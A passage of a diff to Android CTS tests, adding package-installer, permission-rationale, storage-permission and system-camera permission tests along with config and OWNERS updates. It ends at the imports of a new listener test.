+ assertEquals(RESULT_CANCELED, installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
assertTrue(AppOpsUtils.allowedOperationLogged(context.packageName, APP_OP_STR))
}
@@ -70,7 +70,7 @@
*/
@Test
fun setAppCategory() {
- startInstallationViaSession()
+ val installation = startInstallationViaSession()
clickInstallerUIButton(INSTALL_BUTTON_ID)
// Wait for installation to finish
@@ -90,14 +90,35 @@
*/
@Test
fun cancelInstallation() {
- startInstallationViaSession()
+ val installation = startInstallationViaSession()
clickInstallerUIButton(CANCEL_BUTTON_ID)
// Install should have been aborted
assertEquals(STATUS_FAILURE_ABORTED, getInstallSessionResult())
- assertEquals(RESULT_CANCELED, getInstallDialogResult())
+ assertEquals(RESULT_CANCELED, installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
assertNotInstalled()
+ }
- assertNoMoreInstallResults()
+ /**
+ * Check that can't install when FRP mode is enabled.
+ */
+ @Test
+ fun confirmFrpInstallationFails() {
+ try {
+ setSecureSetting("secure_frp_mode", 1)
+
+ try {
+ val installation = startInstallationViaSession()
+ clickInstallerUIButton(CANCEL_BUTTON_ID)
+
+ fail("Package should not be installed")
+ } catch (expected: SecurityException) {
+ }
+
+ // Install should never have started
+ assertNotInstalled()
+ } finally {
+ setSecureSetting("secure_frp_mode", 0)
+ }
}
}
diff --git a/tests/tests/packageinstaller/nopermission/AndroidTest.xml b/tests/tests/packageinstaller/nopermission/AndroidTest.xml
index 9eb96cb..2229230 100644
--- a/tests/tests/packageinstaller/nopermission/AndroidTest.xml
+++ b/tests/tests/packageinstaller/nopermission/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/nopermission" />
diff --git a/tests/tests/packageinstaller/nopermission25/AndroidTest.xml b/tests/tests/packageinstaller/nopermission25/AndroidTest.xml
index 176e6c5..bd9a85e 100644
--- a/tests/tests/packageinstaller/nopermission25/AndroidTest.xml
+++ b/tests/tests/packageinstaller/nopermission25/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/nopermission" />
diff --git a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
index 4ab0568..0391f65 100644
--- a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
+++ b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/packageinstaller/tapjacking/OWNERS b/tests/tests/packageinstaller/tapjacking/OWNERS
new file mode 100644
index 0000000..0088192
--- /dev/null
+++ b/tests/tests/packageinstaller/tapjacking/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36137
+moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index a18a8f2..9fc0a88 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/packageinstaller/uninstall/OWNERS b/tests/tests/packageinstaller/uninstall/OWNERS
new file mode 100644
index 0000000..0088192
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36137
+moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index 481a026..a4ee42b 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -42,6 +42,8 @@
<option name="push" value="CtsAppThatRequestsLocationPermission29v4.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission29v4.apk" />
<option name="push" value="CtsAppThatRequestsLocationPermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission28.apk" />
<option name="push" value="CtsAppThatRequestsLocationPermission22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission22.apk" />
+ <option name="push" value="CtsAppThatRequestsStoragePermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsStoragePermission29.apk" />
+ <option name="push" value="CtsAppThatRequestsStoragePermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsStoragePermission28.apk" />
<option name="push" value="CtsAppThatRequestsLocationAndBackgroundPermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationAndBackgroundPermission29.apk" />
<option name="push" value="CtsAppThatAccessesLocationOnCommand.apk->/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk" />
<option name="push" value="AppThatDoesNotHaveBgLocationAccess.apk->/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk" />
@@ -50,6 +52,7 @@
<option name="push" value="CtsAppWithSharedUidThatRequestsLocationPermission28.apk->/data/local/tmp/cts/permissions/CtsAppWithSharedUidThatRequestsLocationPermission28.apk" />
<option name="push" value="CtsAppWithSharedUidThatRequestsLocationPermission29.apk->/data/local/tmp/cts/permissions/CtsAppWithSharedUidThatRequestsLocationPermission29.apk" />
<option name="push" value="CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk" />
+ <option name="push" value="CtsAppThatRunsRationaleTests.apk->/data/local/tmp/cts/permissions/CtsAppThatRunsRationaleTests.apk" />
<option name="push" value="CtsAdversarialPermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionUserApp.apk" />
<option name="push" value="CtsAdversarialPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionDefinerApp.apk" />
<option name="push" value="CtsVictimPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsVictimPermissionDefinerApp.apk" />
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
new file mode 100644
index 0000000..91fcec3
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsAppThatRequestsStoragePermission28",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/AndroidManifest.xml b/tests/tests/permission/AppThatRequestStoragePermission28/AndroidManifest.xml
new file mode 100644
index 0000000..a847f39
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.appthatrequestpermission"
+ android:versionCode="2">
+
+ <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+ <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
new file mode 100644
index 0000000..343de69
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsAppThatRequestsStoragePermission29",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/AndroidManifest.xml b/tests/tests/permission/AppThatRequestStoragePermission29/AndroidManifest.xml
new file mode 100644
index 0000000..c783085
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.appthatrequestpermission"
+ android:versionCode="1">
+
+ <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+ <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
new file mode 100644
index 0000000..7251822
--- /dev/null
+++ b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
@@ -0,0 +1,31 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsAppThatRunsRationaleTests",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "test_current",
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+
+ srcs: ["src/**/*.java"],
+}
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml b/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
new file mode 100644
index 0000000..cede468
--- /dev/null
+++ b/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.appthatrunsrationaletests">
+
+ <uses-permission android:name="android.permission.READ_CONTACTS" />
+
+ <application android:label="CtsRationaleTests">
+ <activity android:name=".TestActivity">
+ <intent-filter>
+ <action android:name="CtsRationalTests.intent.action.Launch" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
+
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/src/android/permission/cts/appthatrunsrationaletests/TestActivity.java b/tests/tests/permission/AppThatRunsRationaleTests/src/android/permission/cts/appthatrunsrationaletests/TestActivity.java
new file mode 100644
index 0000000..7544890
--- /dev/null
+++ b/tests/tests/permission/AppThatRunsRationaleTests/src/android/permission/cts/appthatrunsrationaletests/TestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthatrunsrationaletests;
+
+import android.Manifest;
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+public class TestActivity extends Activity {
+ private static final String CALLBACK_KEY = "testactivitycallback";
+ private static final String RESULT_KEY = "testactivityresult";
+ private static final String PERMISSION_NAME = Manifest.permission.READ_CONTACTS;
+
+ @Override
+ public void onCreate(Bundle bundle) {
+ super.onCreate(bundle);
+
+ RemoteCallback cb = (RemoteCallback) getIntent().getExtras().get(CALLBACK_KEY);
+
+ boolean result = shouldShowRequestPermissionRationale(PERMISSION_NAME);
+ Bundle res = new Bundle();
+ res.putBoolean(RESULT_KEY, result);
+
+ finish();
+ cb.sendResult(res);
+ }
+}
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index fccfeef..c44024b 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -4,3 +4,4 @@
per-file RequestLocation.java = hallliu@google.com
per-file NoAudioPermissionTest.java = elaurent@google.com
per-file MainlineNetworkStackPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
+per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
diff --git a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
index cf26d44..eba9dc0 100644
--- a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
+++ b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
@@ -18,9 +18,11 @@
import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.PACKAGE_USAGE_STATS;
import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.app.AppOpsManager.MODE_FOREGROUND;
import static android.app.AppOpsManager.MODE_IGNORED;
+import static android.app.AppOpsManager.OPSTR_GET_USAGE_STATS;
import static android.app.AppOpsManager.permissionToOp;
import static android.content.pm.PackageManager.FLAG_PERMISSION_REVIEW_REQUIRED;
import static android.content.pm.PackageManager.FLAG_PERMISSION_REVOKE_ON_UPGRADE;
@@ -201,6 +203,8 @@
} else {
setAppOp(packageName, ACCESS_COARSE_LOCATION, MODE_FOREGROUND);
}
+ } else if (permission.equals(PACKAGE_USAGE_STATS)) {
+ setAppOpByName(packageName, OPSTR_GET_USAGE_STATS, MODE_ALLOWED);
} else {
setAppOp(packageName, permission, MODE_ALLOWED);
}
@@ -226,6 +230,8 @@
if (isGranted(packageName, ACCESS_COARSE_LOCATION)) {
setAppOp(packageName, ACCESS_COARSE_LOCATION, MODE_FOREGROUND);
}
+ } else if (permission.equals(PACKAGE_USAGE_STATS)) {
+ setAppOpByName(packageName, OPSTR_GET_USAGE_STATS, MODE_IGNORED);
} else {
setAppOp(packageName, permission, MODE_IGNORED);
}
diff --git a/tests/tests/permission/sdk28/AndroidTest.xml b/tests/tests/permission/sdk28/AndroidTest.xml
index 7d100d7..e47b1ac 100644
--- a/tests/tests/permission/sdk28/AndroidTest.xml
+++ b/tests/tests/permission/sdk28/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPermissionTestCasesSdk28.apk" />
diff --git a/tests/tests/permission/sdk28/OWNERS b/tests/tests/permission/sdk28/OWNERS
new file mode 100644
index 0000000..c126a70
--- /dev/null
+++ b/tests/tests/permission/sdk28/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
new file mode 100644
index 0000000..947e59a
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.internal.runner.junit4.AndroidJUnit4ClassRunner;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@AppModeFull(reason = "Tests properties of other app. Instant apps cannot interact with other apps")
+@RunWith(AndroidJUnit4ClassRunner.class)
+public class ActivityPermissionRationaleTest {
+ private static final String APK =
+ "/data/local/tmp/cts/permissions/CtsAppThatRunsRationaleTests.apk";
+ private static final String PACKAGE_NAME = "android.permission.cts.appthatrunsrationaletests";
+ private static final String PERMISSION_NAME = Manifest.permission.READ_CONTACTS;
+ private static final String CALLBACK_KEY = "testactivitycallback";
+ private static final String RESULT_KEY = "testactivityresult";
+ private static final int TIMEOUT = 5000;
+
+ private static Context sContext = InstrumentationRegistry.getInstrumentation().getContext();
+ private static UiAutomation sUiAuto =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation();
+
+ @BeforeClass
+ public static void setUp() {
+ runShellCommand("pm install -r " + APK);
+ int flag = PackageManager.FLAG_PERMISSION_USER_SET;
+ PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME, flag, flag);
+ }
+
+ @AfterClass
+ public static void unInstallApp() {
+ runShellCommand("pm uninstall " + PACKAGE_NAME);
+ }
+
+ private void assertAppShowRationaleIs(boolean expected) throws Exception {
+ CompletableFuture<Boolean> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) ->
+ callbackReturn.complete(result.getBoolean(RESULT_KEY)));
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(PACKAGE_NAME, PACKAGE_NAME + ".TestActivity"));
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(CALLBACK_KEY, cb);
+
+ sContext.startActivity(intent);
+ assertThat(callbackReturn.get(TIMEOUT, TimeUnit.MILLISECONDS)).isEqualTo(expected);
+ }
+
+ @Before
+ public void clearData() {
+ runShellCommand("pm clear android.permission.cts.appthatrunsrationaletests");
+ PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME,
+ PackageManager.FLAG_PERMISSION_POLICY_FIXED, 0);
+ }
+
+ @Test
+ public void permissionGrantedNoRationale() throws Exception {
+ sUiAuto.grantRuntimePermission(PACKAGE_NAME, PERMISSION_NAME);
+
+ assertAppShowRationaleIs(false);
+ }
+
+ @Test
+ public void policyFixedNoRationale() throws Exception {
+ int flags = PackageManager.FLAG_PERMISSION_POLICY_FIXED;
+ PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME, flags, flags);
+
+ assertAppShowRationaleIs(false);
+ }
+
+ @Test
+ public void userFixedNoRationale() throws Exception {
+ int flags = PackageManager.FLAG_PERMISSION_USER_FIXED;
+ PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME, flags, flags);
+
+ assertAppShowRationaleIs(false);
+ }
+
+ @Test
+ public void notUserSetNoRationale() throws Exception {
+ PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME,
+ PackageManager.FLAG_PERMISSION_USER_SET, 0);
+
+ assertAppShowRationaleIs(false);
+ }
+
+ @Test
+ public void userSetNeedRationale() throws Exception {
+ int flags = PackageManager.FLAG_PERMISSION_USER_SET;
+ PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME, flags, flags);
+
+ assertAppShowRationaleIs(true);
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
index 4076ace..379f478 100644
--- a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
@@ -19,27 +19,28 @@
import static com.android.ex.camera2.blocking.BlockingStateCallback.*;
import android.content.Context;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraCharacteristics.Key;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
import android.os.Handler;
import android.os.HandlerThread;
import android.platform.test.annotations.Presubmit;
import android.test.AndroidTestCase;
import android.util.Log;
-import java.util.List;
-
import com.android.ex.camera2.blocking.BlockingCameraManager;
import com.android.ex.camera2.blocking.BlockingStateCallback;
+import java.util.ArrayList;
+import java.util.List;
+
/**
* Tests for Camera2 API related Permissions. Currently, this means
* android.permission.CAMERA.
*/
public class Camera2PermissionTest extends AndroidTestCase {
- private static final String TAG = "CameraDeviceTest";
+ private static final String TAG = "Camera2PermissionTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
private static final int CAMERA_CLOSE_TIMEOUT_MS = 2000;
@@ -99,6 +100,25 @@
}
/**
+ * Check that no system cameras can be discovered without
+ * {@link android.Manifest.permission#CAMERA} and android.permission.SYSTEM_CAMERA
+ */
+ public void testSystemCameraDiscovery() throws Exception {
+ for (String id : mCameraIds) {
+ Log.i(TAG, "testSystemCameraDiscovery for camera id " + id);
+ CameraCharacteristics characteristics = mCameraManager.getCameraCharacteristics(id);
+ assertNotNull("Camera characteristics shouldn't be null", characteristics);
+ int[] availableCapabilities =
+ characteristics.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+ assertTrue("Camera capabilities shouldn't be null", availableCapabilities != null);
+ List<Integer> capList = toList(availableCapabilities);
+ assertFalse("System camera device " + id + " should not be public",
+ capList.contains(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_SYSTEM_CAMERA));
+ }
+ }
+
+ /**
* Check the absence of camera characteristics keys that require Permission:
* {@link android.Manifest.permission#CAMERA}.
*/
@@ -153,6 +173,14 @@
cameraId, mCameraListener, mHandler);
}
+ private static List<Integer> toList(int[] array) {
+ List<Integer> list = new ArrayList<Integer>();
+ for (int i : array) {
+ list.add(i);
+ }
+ return list;
+ }
+
private void closeCamera() {
if (mCamera != null) {
mCamera.close();
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 4ecf5b6..af9024f 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -56,7 +56,6 @@
import android.os.Debug;
import android.os.IBinder;
import android.os.Looper;
-import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AppModeFull;
import android.provider.DeviceConfig;
import android.provider.Settings;
@@ -69,6 +68,7 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.ProtoUtils;
import com.android.server.job.nano.JobSchedulerServiceDumpProto;
import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
@@ -79,8 +79,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.ByteArrayOutputStream;
-import java.io.FileInputStream;
import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
@@ -215,26 +213,8 @@
* Get the state of the job scheduler
*/
public static JobSchedulerServiceDumpProto getJobSchedulerDump() throws Exception {
- ParcelFileDescriptor pfd = sUiAutomation.executeShellCommand("dumpsys jobscheduler --proto");
-
- try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
- // Copy data from 'is' into 'os'
- try (FileInputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
- byte[] buffer = new byte[16384];
-
- while (true) {
- int numRead = is.read(buffer);
-
- if (numRead == -1) {
- break;
- } else {
- os.write(buffer, 0, numRead);
- }
- }
- }
-
- return JobSchedulerServiceDumpProto.parseFrom(os.toByteArray());
- }
+ return ProtoUtils.getProto(sUiAutomation, JobSchedulerServiceDumpProto.class,
+ ProtoUtils.DUMPSYS_JOB_SCHEDULER);
}
/**
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionUpdateListenerTest.java b/tests/tests/permission/src/android/permission/cts/PermissionUpdateListenerTest.java
new file mode 100644
index 0000000..afcd9e9
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/PermissionUpdateListenerTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.OnPermissionsChangedListener;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.test.internal.runner.junit4.AndroidJUnit4ClassRunner;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
